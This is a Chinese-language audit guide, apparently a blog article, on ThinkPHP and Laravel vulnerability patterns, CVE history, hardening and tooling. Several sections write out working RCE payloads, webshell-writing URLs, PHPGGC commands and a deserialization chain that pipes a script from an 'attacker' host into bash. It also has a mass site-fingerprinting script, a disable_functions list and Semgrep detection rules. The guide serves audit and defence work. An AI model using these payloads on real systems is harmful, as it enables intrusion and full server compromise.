引言:为什么 PHP 框架漏洞值得反复深挖
在国内 Web 攻防领域,一句话流传甚广:"打站先打 TP,挖洞先挖 Laravel"。这句话背后是过去十年 PHP 生态的一个残酷现实------超过七成的高危 PHP 应用漏洞,并非出在业务代码本身,而是源自框架机制与开发者假设之间的错位。
ThinkPHP 作为国内最流行的 PHP 框架,从 TP3 到 TP8,因为其"简单好用、国内文档多"的特性被广泛部署在政企内网、教育系统、电商平台等各类业务中。也正因为部署基数庞大,其历史上的每一个 RCE 都能在真实互联网上命中数以万计的长尾站点。CVE-2018-20062(即著名的 ThinkPHP 5.x invokefunction RCE)爆发时,Mirai 僵尸网络在 24 小时内完成了对全网 IPv4 的批量扫描与利用,堪称"PHP 界的 Log4Shell"。
Laravel 则代表了另一种典型:框架本身设计严谨,但安全性的核心锚点押在一把"APP_KEY"上。GitGuardian 在 GitHub 公开仓库中追踪到,自 2018 年以来有超过 26 万个 Laravel APP_KEY 被曝光,2025 年又有研究团队披露超过 600 个活跃 Laravel 应用因 GitHub 上泄露的 APP_KEY 可直接被打穿为 RCE。一个 ENV 文件的误提交,就能让整条加密防线塌方。
真正有价值的能力,是从成百上千个 CVE 中抽出共性模式,形成"看到特征就推演利用"的条件反射。本文的目标正是这一点:把 ThinkPHP 与 Laravel 十余年的漏洞史拆解为可复用的审计思维模型,让你下次拿到一份陌生的 TP/Laravel 项目源码时,能够在半天内锁定最有价值的攻击面。
第一章:PHP 审计的方法论基础
在进入具体漏洞分析之前,必须先把方法论说清楚。这是后面所有内容得以展开的地基。
1.1 污点分析的黄金三角:Source - Transformer - Sink
污点分析是一切 PHP 审计的技术基石。它的逻辑极其朴素但威力巨大:
Source(污点源) 是外部可控数据进入程序的位置。在 PHP 中,除了 $_GET、$_POST、$_COOKIE 这些显而易见的超全局变量外,还有大量容易被忽视的非标准污点源:
php
// 标准污点源
$id = $_GET['id'];
$data = file_get_contents('php://input'); // ⚠️ POST 原始体
$hdr = $_SERVER['HTTP_X_FORWARDED_FOR']; // ⚠️ HTTP 头
$query = get_meta_tags($url); // 远程 URL 解析
$fp = curl_exec($ch); // CURL 返回值
$status = fpm_get_status()['request']['query']; // FPM 状态
后三者被称为"非预定义污点源"------很多静态扫描工具并没有把它们列入 Source 清单,因此代码里只要用到了 curl/get_meta_tags/fpm_get_status 这类函数返回值,就可能绕过 SAST 工具 。这是一类审计思路上的技巧性突破。
Transformer(变换器/过滤器) 是污点数据流向 Sink 的中间处理环节。审计的关键不在于找到 Sink,而在于证明 Transformer 无法彻底净化污点:
php
// 例子:idcode 过滤看似严谨,实则可用 %2527 双重编码绕过
$input = $_GET['q'];
$clean = str_replace("'", "''", $input); // 防SQLi 弱
$clean = preg_replace('/select/i', '', $clean); // 只过滤一次
$sql = "SELECT * FROM users WHERE name='$clean'";
攻击者传入 selselectect ------ 经过一次替换变为 select ------ 直接注入成功。这就是经典的"递归过滤缺失"陷阱。
Sink(危险汇聚点) 是污点最终引发危害的位置。PHP 中常见的 Sink 函数按类别整理如下:
| 类别 | 代表函数 | 漏洞类型 |
|---|---|---|
| SQL 执行 | mysql_query, mysqli_query, pdo->query/exec |
SQL 注入 |
| 命令执行 | system, exec, shell_exec, passthru, ````` , proc_open, pcntl_exec |
RCE |
| 代码执行 | eval, assert(PHP7), create_function(废弃), preg_replace /e(PHP5) |
RCE |
| 反序列化 | unserialize, phar_parse_metadata |
POP 链 RCE |
| 文件操作 | include, require, fopen, file_put_contents, unlink |
LFI/RFI/任意文件删除 |
| 变量注册 | extract, parse_str(无第二参数), import_request_variables(PHP4) |
变量覆盖 |
| SSRF | curl_exec, file_get_contents(url), get_meta_tags |
内网穿透 |
1.2 三层审计策略:从粗筛到细抠
面对动辄几十万行的 PHP 项目,纯手工逐行读是不现实的。建议采用三层递进式策略:
第一层:依赖版本指纹识别(10 分钟)
看 composer.json 和 composer.lock:
- 框架主版本(TP 5.x vs 6.x vs 8.x,Laravel 8 vs 10 vs 11)
- 关键组件版本(symfony/http-foundation, facade/ignition, guzzlehttp/guzzle 等)
- 是否存在已知带 Gadget 的库(guzzle, monolog, laravel/framework 自身)
这一步通常能直接给出 60% 以上的判定信号。
第二层:Sink 密度扫描(30 分钟)
用 grep/ripgrep 或 Semgrep 扫描所有 Sink 关键字,结合框架上下文判断优先级。这层会把焦点收窄到几十个可疑文件。
第三层:人工精准审计(剩余时间)
针对第二层锁定的高危点进行 Source-to-Sink 的正向追踪,尤其关注业务逻辑中"看似无害实则致命"的设计(比如动态方法调用、规则表达式引擎等)。
第二章:ThinkPHP 漏洞模式全谱系
ThinkPHP 的漏洞史几乎就是一部"路由解析失控 → 命名空间注入 → 动态方法调用"这个母题在不同版本中的变奏曲。
2.1 版本与代表漏洞速查表
先建立一张宏观地图:
| 漏洞编号 | 影响版本 | 类型 | 默认条件是否可利用 |
|---|---|---|---|
| CVE-2018-1002015 | TP5 ≤5.0.23, 5.1 <5.1.31 | 控制器命名空间注入 RCE | ✅ 默认即可 |
| CVE-2018-20062 | TP 5.1.0-5.1.31 | 同类 RCE | ✅ 默认即可 |
| CVE-2019-9082 | TP 5.0.0-5.0.23 | PATHINFO 即控制器 RCE | ✅ 默认即可 |
| CNVD-2021-44350 | TP 5.0.13-5.0.15, 5.1.0-5.1.5 | Builder::parseData SQL 注入 | ❌ 需业务调用 insert(array) |
| QVD-2022-46174 | TP 5.x 全系列 + 6.0.1-6.0.13 | 多语言 lang 参数文件包含 | ❌ 需开启 lang_switch_on |
| CVE-2022-45982 | TP 6.0.x-6.1.x | 缓存反序列化 RCE | ❌ 需缓存驱动可控 |
| CVE-2024-44902 | TP 6+ 新披露反序列化链 | 反序列化 | 视链而定 |
| 资料来源综合自公开漏洞库与社区总结。 |
2.2 经典模式一:控制器命名空间注入
这是 ThinkPHP 历史上最著名的一组漏洞,其本质是 "用户输入没有经过白名单校验就直接拼接成了类名" 。
漏洞触发流程 (以 CVE-2018-20062 为例):
ThinkPHP 5.x 默认支持兼容模式访问:?s=module/controller/action。请求进入 think\App::run() 后,Route::parseUrl() 会将 pathinfo 按 / 切分成数组,然后不加严格校验地将其赋给 module、module、module、controller、$action 。
关键缺陷出现在 App.php 的 module() 方法中:
php
// 漏洞版本的核心代码示意
public static function module($dispatch, $config)
{
$controller = strip_tags($dispatch['controller']); // 仅做 strip_tags!
// 注意这里:str_replace 允许反斜杠\穿越命名空间
$controller = str_replace('/', '\\', $controller);
...
// 后续会用 new $controller() 或者 call_user_func_array() 动态实例化
}
攻击者构造这样的请求:
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
参数切分结果是 ['index', '\think\app', 'invokefunction']。由于 \think\app 被 PHP 解析为根命名空间下的 \think\App 类------它绕开了应用层面的控制器目录限定,直接指向了框架内部的核心类 。而 \think\App 类恰好有一个公开静态方法 invokefunction(),它的作用就是接收任意函数名和参数并调用:
php
// thinkphp/library/think/App.php
public static function invokeFunction($function, $vars = [])
{
return call_user_func_array($function, $vars);
}
三步连环:用户输入成了类名 → 类名绕过白名单到达框架内部类 → 内部类的动态方法接受了任意函数调用。这是教科书级别的 RCE 利用链。
实战 Payload 举隅:
# phpinfo 验证
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
# 命令执行
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
# 写入 webshell
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php eval($_POST[1]);?>
第二形态是 captcha 路由配合 _method=__construct 的 POST 利用(适用于 GET 被过滤的场景):
POST /index.php?s=captcha HTTP/1.1
Content-Type: application/x-www-form-urlencoded
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
它走的是另一个入口:Request::__construct 中会遍历 $this->filter 数组并把 server[REQUEST_METHOD] 作为过滤函数执行。本质上是同一个母题------把"应该写死的回调函数"变成了"用户可以注入的字符串"。
2.3 修复为何反复失败?
官方在 5.0.23 修复了这个洞,但随后又被 CVE-2019-9082 击穿(PATHINFO 模式下同样的问题)。这提示了一个重要观察:当业务强依赖某个特性(如动态路由),补丁就只能"收紧边界",无法"彻底斩断" 。所以 5.0.x 必须升到 5.0.24+,5.1.x 必须升到 5.1.32+,缺一不可。
留给审计者的启示:
- 看到 TP 项目第一步先确认精确版本号(
composer.lock或报错页面泄露)。 - 一旦版本落在上述高危区间,无论上层代码怎么写,都应标记为可直接利用。
- 如果开启了强制路由 (
url_route_must=true),此洞失效------这是一个重要的防御性开关,需要在架构层强调而不是寄希望于开发者记得开。
2.4 经典模式二:文件包含 RCE(QVD-2022-46174)
这个漏洞展示了另一种母题------"参数拼接进 include 路径" 的经典路径穿越打法。
ThinkPHP 的多语言功能开启时,会根据用户的 lang 参数加载对应语言包:
php
// lang检测逻辑简图
$file = __DIR__ . '/lang/' . $_GET['lang'] . '.php';
include $file; // ← 未过滤 ../ 与 ://
利用思路非常经典,但最精彩的是如何解决"没有上传权限"的死锁。pearcmd.php 注入法横空出世:
?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['x']);?>+/var/www/html/shell.php
前提是 Docker/LNMP 环境默认自带 PEAR,且 register_argc_argv=On(默认开)。PEAR 的 config-create 子命令允许接受两个参数------第一个是要写入的内容,第二个是目标文件路径。这就让原本只是"包含已有 .php 文件"的 LFI,瞬间升格为 "写入任意 PHP 内容到指定位置"的 RCE 。
另一种不需要任何本地文件的延伸玩法是 php://filter/write=convert.base64-decode/... 伪协议,将 Base64 化的 payload 解码进日志或缓存文件中再触发 include。
审计要点:
- 全局搜索所有
include、include_once、require、require_once。 - 重点排查语句中的变量是否来自
$request->param()、input()、$_GET。 - 检查项目
/config/lang.php或类似配置,看lang_switch_on是否启用。 - 若启用,立即升级至 TP ≥ 6.0.14 并添加对 lang 参数的白名单校验。
2.5 经典模式三:变量覆盖与模板渲染逃逸
ThinkPHP 早期版本的 assign(request()->get()) 写法存在一个臭名昭著的后遗症:
php
// 控制器典型用法
$this->assign(request()->get());
$this->fetch();
由于 assign 会把整个 GET 数组 merge 到模板变量,攻击者只需在 URL 中添加特定的键名即可覆盖框架内部用的敏感键,例如:
?cacheFile=../public/uploads/trojan.jpg
这样 fetch() 就会在渲染模板时,把指定的 jpg 当作模板文件包含进来 ------上传图片马直接变成 webshell。
这种模式的本质是 extract() / array_merge() 对未初始化变量的无差别合并 ,属于一类普适的 PHP 审计范式:凡是视图渲染函数周围出现 assign(fetch)+request get/post 组合的地方,都应该手工演练一次覆盖可能。
2.6 经典模式四:反序列化与 PHPGGC 战争
ThinkPHP 6.x 重构后引入了更复杂的容器和缓存体系,同时也打开了新的攻击面------反序列化链。
入口分布:
-
Cache::set/get在 File 驱动下使用 serialize/unserialize 存取数据; -
Session的 Redis/Memcached 驱动在序列化处理器未显式设置时,仍可能回落到serialize_handler=php_serialize; -
某些命令行脚本会把 Cookie/Header 直接作为对象恢复;
-
第三方包(如某些支付 SDK)会把回调 payload 丢进 unserialize。
POP 链典型骨架 (以think\Container为中心):__destruct 触发
↓
think\Container 的 some magic method
↓
属性遍历调用 __toString / __call
↓
think\process\pipes\Windows 触发文件操作或命令执行
↓
file_put_contents / system
实际利用几乎总是借助 PHPGGC 自动化生成。工具用法示例:
bash
# 列出 ThinkPHP 可用链
./phpggc -l thinkphp
# 生成 RCE payload(自动 URL 编码)
./phpggc ThinkPHP/RCE4 system 'cat /flag' --url
不同链适用的 TP 小版本各不相同(RCE3/RCE4/FW1/FW2 各自对应不同的版本范围),实战中需要多链枚举尝试 直到某一条能跑通。
根因剖析:为什么 TP 这么容易被搞?
- 框架魔法方法密集 :Container/Pipeline/Hook 设计使
__destruct→__call→__toString的链条铺得到处都是; - 组件间"假设信任"过多:缓存认为拿到的数据一定是框架自己 set 进去的;
- is_serialized 校验形同虚设:只检查格式,不限制 class 白名单。
第三章:Laravel 漏洞模式全景
如果说 ThinkPHP 的病根是"自由度过高导致的失控",那 Laravel 的病根则更纯粹------所有安全性集中押注在一把 APP_KEY 上,一旦钥匙泄露整套机制瞬间归零。
3.1 Laravel 历史漏洞版本地图
| 漏洞编号 | 影响版本 | 类型 | 利用条件 |
|---|---|---|---|
| CVE-2018-15133 | Laravel < 5.6.30 | APP_KEY 反序列化 RCE | 泄露 KEY |
| CVE-2019-9081 | Laravel 5.7 | 特定组件反序列化 RCE | 组件链齐全 |
| CVE-2021-3129 | Ignition ≤2.5.2 (Laravel ≤8.4.2) | Debug 模式 Phar RCE | APP_DEBUG=true |
| CVE-2022-31279 | Laravel < 9.1.8 | 广播驱动反序列化 RCE | 特定 driver |
| CVE-2024-55555 / 55556 | ≤10.x | decrypt 自动反序列化 RCE | KEY 泄露 |
| 综合自公开资料。 |
3.2 一击必杀之钥:APP_KEY 反序列化 RCE
Laravel 的加密基石是 Illuminate\Encryption\Encrypter。一个鲜为人知却致命的设计是:
php
// Illuminate/Encryption/Encrypter.php
public function decrypt($payload, $unserialize = true)
{
...
return $unserialize ? unserialize($decrypted) : $decrypted;
}
注意 $unserialize 参数默认值为 true 。这意味着所有走 Laravel 加密通道的数据------Cookie Session、Queue Payload、部分第三方包传递的字段------都会在解密后立刻进入 unserialize()。
正常场景下这没问题,因为数据是用同一把 KEY 加密过的,攻击者无法伪造密文。但三种现实情况会打破这个前提:
- APP_KEY 从 GitHub/Docker Hub/.env 备份中泄露;
- 业务代码自己把用户输入丢进 decrypt() ,比如某个老的 SSO 接口接受
?ticket=<base64密文>; - 某些旧版本使用了 session cookie 驱动且未做 HMAC 强校验 。
一旦满足任一条件,攻击者的玩法异常干脆:
bash
# 用 phpggc 生成针对 Laravel 的反序列化 payload
phpggc Laravel/RCE10 system 'curl http://attacker/shell.sh|bash' -b > payload.b64
# 用泄露的 APP_KEY 加密 payload
python encrypt_with_key.py --key BASE64_KEY_HERE --data payload.b64
# 通过 Cookie 投递
curl http://target/some/route \
-H "Cookie: laravel_session=<encrypted_payload>" \
-o /dev/null
整个攻击完全不需要碰应用的业务代码或路由,相当于绕过了整个 AppSec 的努力 。GitGuardian 统计显示仅 GitHub 平台就有超过 260,000 个 Laravel APP_KEY 曾暴露,其中 10,000+ 为唯一 key。
审计清单:
- 检查
.env.example、Docker 配置文件、CI 日志、git history 是否含真实 KEY; grep -rn 'decrypt(' app/ routes/,重点核查是否有外部输入;- 检查
SESSION_DRIVER,如果是cookie,风险等级上调; - 生产环境建议轮换 Key 至少每年一次,并加入 Secrets 扫描 CI 步骤。
3.3 Ignition Debug 模式 RCE(CVE-2021-3129)
这条 CVE 是近期 Laravel 攻防的代表作,也是"调试便利性演化为 RCE"的经典案例。
Ignition 是 Laravel 8 引入的错误页展示组件,比默认的 Whoops 更漂亮。它在 /execute-solution 接口中提供一系列"解决方案"。其中名为 MakeViewVariableOptionalSolution 的方案有一个坑爹的实现:
php
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
protected function makeOptional(array &$parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
return str_replace('$' . $parameters['variableName'],
'$' . $parameters['variableName'] ?? '',
$originalContents);
}
viewFile 参数完全受控------既能 read 又能 write。看似这只是一个文件读写漏洞,但配合两个巧妙的设计点,它就成了绝杀:
技巧 1:php://filter 流包装写入(污染日志)
通过精心构造 base64 编码的 filter 链,可以把恶意序列化数据"无痕地"写到 storage/logs/laravel.log 里:
viewFile = php://filter/write=convert.base64-decode/resource=storage/logs/laravel.log
技巧 2:phar:// 触发反序列化
PHP 中 file_exists('phar://xxx') 会主动解析 phar 元数据并触发其中的 unserialize。把上一步污染好的 log 文件通过 phar:// 再次传给 file_get_contents(),就完整触发了日志中预埋的反序列化 payload。
三步操作链路:
Step 1 清空日志(避免字节干扰)
Step 2 制造错误让payload进入log(利用不存在的路由触发404)
Step 3 向 execute-solution 提交 viewFile=phar://storage/logs/laravel.log
使用 phpggc 生成的 monolog/rce1 链子完成命令执行。
审计与修复角度:
- 生产环境必须
APP_DEBUG=false;任何时候 debugbar/ignition 路由不应暴露公网; - 升级 facade/ignition ≥ 2.5.2;
- 在 Nginx/Apache 层显式 deny
_ignition路径,作为纵深防御; - 即使根本原因已修,类似的 "solution/action 接口未鉴权" 模式仍是常见的新发故障源 ,定期复扫此类
action/execute类端点是必要的。
3.4 组件级漏洞链条
Laravel 自身组件外,生态里的第三方扩展同样贡献了大量 Gadget:
- Guzzle HTTP 客户端:结合 SSRF 时可作为跳板,在某些 Gadget 链中承担远程 class 加载角色;
- Monolog:RCE1-RCE17 系列,几乎是每个 CTF 和实战 exploit 必备;
- Fakerphp :提供易触发的
__destruct入口; - PhpUnit:文件写入链;
- Carbon/BrickMath 等看似无害的工具库也可能暗藏 POP 链。
实战经验:遇到未知框架项目先用composer why-not guzzle monolog快速盘点可用链库存。
3.5 那些"默认配置即隐患"的点
Laravel 有一些"开箱即用就麻烦"的细节,必须在部署规范中明确化:
| 配置项 | 危险默认值 | 推荐 |
|---|---|---|
| APP_DEBUG | true(.env 默认) | false |
| SESSION_DRIVER | cookie | database/redis + server-side |
| storage/logs 权限 | 可被 web 用户读写 | 改配权限或禁用 log-based attacks |
| /.env 公网访问 | nginx 默认放行 | location ~ /.env { deny all; } |
| horizon/telescope/horizon paths | 无鉴权挂载 | 登录墙或 IP 白名单 |
.env 直接被下载泄露也是长期高发的攻击起点之一,属于低技术含量但收益最高的攻击向量。 |
第四章:两大框架的安全哲学对比与基线配置
4.1 根因层面差异
回顾十年漏洞史,两大框架的"性格"截然不同:
- ThinkPHP:设计哲学偏向便利,强调动态灵活,代价是边界宽松。开发者少写的每一行校验,都可能成为未来的攻击面。它的洞更多来自"应该有的白名单没写"。
- Laravel:设计哲学偏向约定优于配置,边界相对紧致,但把安全性押注在"KEY 不泄露"这种单点上 。它的洞更多来自"外部条件意外打开"。这也是为什么同版本的 Laravel 企业应用之间,实际威胁等级往往差几个数量级------取决于运维纪律。
给你的启示:审计 ThinkPHP 更多做"防御是否存在"的逻辑检查,审计 Laravel 更多做"外围条件是否成立"的环境检查。两者思路要切换。
4.2 通用加固基线 Checklist
无论是 TP 还是 Laravel 项目,这份清单都能显著提升底线:
| # | 项目 | 说明 |
|---|---|---|
| 1 | 锁定 composer.lock | 定期 composer audit 检查已知 CVE |
| 2 | 关闭调试 & 信息泄露 | 生产 app_debug=false / APP_DEBUG=false |
| 3 | 开启强制路由 | 'url_route_must' => true (TP),Laravel 使用 route cache |
| 4 | 白名单反序列化 | PHP 7.4+ unserialize($data, ['allowed_classes'=>false]) |
| 5 | 禁用危险函数 | disable_functions=exec,system,passthru,shell_exec,proc_open,popen,putenv,chroot,disk_free_space,disk_total_space,diskfreespace,symlink,error_log,getmyuid,getmypid,get_current_user,leak,is_writable,pfsockopen,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,posix_uname,psockopen,set_thread_area,setsockopt,socket_bind,socket_create,socket_listen,socket_strerror,touch,dl,easypay_ondemand |
| 6 | 敏感目录禁读 | .env, /storage/logs, /vendor/composer/*, composer.json 全部 deny |
| 7 | secrets 管理脱离 git | Vault/KMS/SOPS 托管,禁止提交明文 |
| 8 | WAF 层拉黑典型特征 | 针对 invokefunction、_method=__construct、x-forwarded-for 之类高危 pattern |
| 9 | 限流与统一鉴权 | 所有 admin/dashboard/horizon 等路径加 login wall |
| 10 | 按 Key 轮换周期 | 至少每季度轮换 APP_KEY/JWT_SECRET |
4.3 WAF 为什么挡不住这类漏洞
值得注意的是,前述漏洞大多不是靠传统 WAF 能防住的:
- Payload 简短多变:TP 的 RCE 关键字符只有几个,攻击者可以用大小写、URL 编码、Unicode 逃逸等多个形态绕;
- LLM 生成的变体加速:现代攻击者用 AI 快速 mutate 出从未见过的 payload 形态,签名规则库跟不上;
- 响应侧信息隐蔽 :许多洞打完返回内容较短,WAF 无法基于回显判别攻击成功与否。
因此纵深防御必须下沉到运行时:disable_functions、OpenBasedir、chmod 管理、主机层 EDR 是最后的护城河。
第五章:自动化审计工具实战栈
人工审计效率终究有限。本节介绍一套高效落地的工具组合拳。
5.1 Semgrep 快扫:CI 门槛级守护
Semgrep 无需编译即可工作,适合放入 git pre-push 或 PR check:
yaml
rules:
- id: php-taint-request-to-exec
languages: [generic]
severity: ERROR
message: User input flows into command execution sink
patterns:
- pattern-either:
- pattern: system($_GET[$X])
- pattern: exec($_POST[$Y])
- pattern: shell_exec($_REQUEST[$Z])
- id: php-unserialize-user-input
languages: [php]
severity: CRITICAL
message: Possible deserialization vulnerability
patterns:
- pattern: unserialize($INPUT)
- metavariable-pattern:
metavariable: $INPUT
patterns:
- pattern-not: "'...'"
- id: tp-dangerous-route-name
languages: [generic]
severity: ERROR
message: ThinkPHP dynamic method invocation risk
patterns:
- pattern: call_user_func_array($FUNC, $ARGS)
- metavariable-pattern:
metavariable: $FUNC
patterns:
- pattern-regex: '\$(req|param|input)'
5.2 Joern for PHP:CPG 深度建模
Joern 支持把 PHP 项目编译为 Code Property Graph,然后用类 SQL 方式做污点传播查询。对特定目标高度定制化的审计尤为有用:
scala
importCode("./target-php")
val source = cpg.identifier.name(".*\\$_(GET|POST|REQUEST).*")
val sink = cpg.call.name(".*(system|exec|eval|unserialize).*")
sink.reachableByFlows(source).p
优点是可以精准表达复杂场景(跨过程闭包、魔术方法),缺点是学习曲线较陡、大项目内存压力大。
5.3 大规模存量项目快速指纹识别脚本
遇到 SaaS 运维或者攻防演练的"资产摸底"场景,用最粗暴的方式扫一遍站点指纹往往最高效:
bash
#!/bin/bash
for target in $(cat targets.txt); do
resp=$(curl -sk --max-time 5 "$target")
if echo "$resp" | grep -qiE 'laravel|/storage/logs/laravel|csrf-token|/vendor/laravel'; then
echo "[LARAVEL] $target"
fi
if echo "$resp" | grep -qiE '/application/|_think|X-Powered-By: PHP/7.*Think'; then
echo "[THINKPHP] $target"
fi
# 抓 header
hdr=$(curl -sIk --max-time 5 "$target")
[[ "$hdr" =~ X-Powered-By ]] && echo "$hdr" >> headers.txt
done
结合 censys/shodan 的 http.body_match:"ThinkPHP" 或 "X-Powered-By:PHP/7" 查询语法,可以对一个国家或行业形成近乎完整的资产地图。
第六章:AI 时代的 PHP 审计新范式
写到这里,我们已经把两大框架的十年血泪案拆解得比较透彻。但在 2026 年这个时间节点,有必要单独聊聊一个正在重塑整个审计范式的话题------AI 辅助审计 。
过去两年,我们内部的实践有几个显著感受:
一是 LLM 突破了"grep 天花板"。 传统扫描工具的痛点在于对复杂语义场景失明:比如一段代码封装了 safe_eval() 自己以为安全其实并不安全的帮助函数,SAST 拿不准,但 LLM 能读懂函数内部的具体实现并给出准确风险评估。
二是 AI 极大降低了跨语言审计门槛。 一个 Java 团队做 PHP 审计,以前至少要一到两个月熟悉框架特性(Router、Facade、Middleware)。现在把 composer.json + 路由文件 + 抽样 Controller 喂给 GLM/Claude/DeepSeek,让它画一份"这个项目的 sink-topology 图"和"开发者容易踩坑的 Top10 场景",一周内就能达到合格审计员水平。
三是漏洞模式的 Cross-Pollination 加速了。 Java 里的 SpEL 注入、Python 里的 SSTI、PHP 里的 TPL 注入,本质上都是同一类问题------现在用一句 prompt 就能让 AI 把已知的 PHP Sink 库改写成 Ruby 版,帮助团队审计新兴的 Rails 项目。
但也要警惕三个陷阱:
- 幻觉式误报:AI 可能硬编出不存在的方法名或链路,所有 output 必须抽样验证;
- 上下文窗口约束:百万行的大项目仍需人工分片编排任务,不能一把梭;
- 过度信任"看起来很专业"的回答 :AI 不知道你的公司内部自定义封装的过滤函数行为,遇到这种情况要补充 context。
总体的分工已经在演化成:AI 负责"广度扫描 + 模式迁移 + 上下文推演",人类负责"难度大的 business logic 漏洞 + 最终的 proof-of-concept 验证"。这不是替代,而是质变的提效。
第七章:从 CVE 到 0day------构建个人漏洞挖掘心智
最后想跳出具体框架,聊几句格局层面的思考。读完前面几万字案例,或许你已经隐约感受到了一些规律。
规律一:每一个 0day 都是一段历史 CVE 的影子。
TP 5.0.23 被 invokefunction 打穿了,官方修了一版,结果 PATHINFO 又崩了。Laravel Ignition 的 viewFile 问题,官方 patch 之后一年不到又在别的 solution 里冒出来同类问题。真正稳定的不是代码,而是开发团队的认知惯性。 审计者要做的不是记住 PoC,而是理解每次漏洞背后的"开发者为什么会这么写"。
规律二:漏洞很少发生在冷门位置,而是在"大家觉得没问题的地方"。
没人觉得 lang 参数能 RCE,但它穿越了 pearcmd。没人觉得 APP_KEY 只是用来签 cookie,但它牵一发而动全身。没人觉得 Ignition 只是展示 bug 页面的组件,但它提供了完美的 Entry Point。真正的高手,审计时会带着"这有什么不能被打破的前提?"这个疑问去翻每一行看起来平淡无奇的代码。
规律三:演化是无止境的。
Web 框架每隔几年就换代一次,从 MVC 到 SPA 到 SSR 到今天的 Edge Runtime 和 AI 代理。TP8 已经开始拥抱 PHP 8.4 的类型系统、枚举值校验,Laravel 11+ 也开始把原先依赖环境的很多事内置化。下一代框架必然带来新一代漏洞。这也意味着------成为一名合格 PHP 审计员的赛道永不过时,只需要不断刷新你头脑里的漏洞模式库 。
如果你打算深耕 PHP 审计这条线,我个人的成长路线推荐是:
- 把 Vulhub 中 ThinkPHP/Laravel 相关的全部 15+ 个环境逐一手工打过一遍;
- 读一遍 Framework 源码中最危险的 300 行左右(
think\App、illuminate/encryption、路由分发、View 渲染); - 自己挑一个小众开源 CMS 从零审计一遍,产出一份完整的报告;
- 在 GitHub 关注 ambionics 组织的动态(他们维护 PHPGGC),第一时间跟进新链;
- 参与 CTFtime 上至少 10 场涉及 PHP 反序列化的赛事,积累肌肉记忆。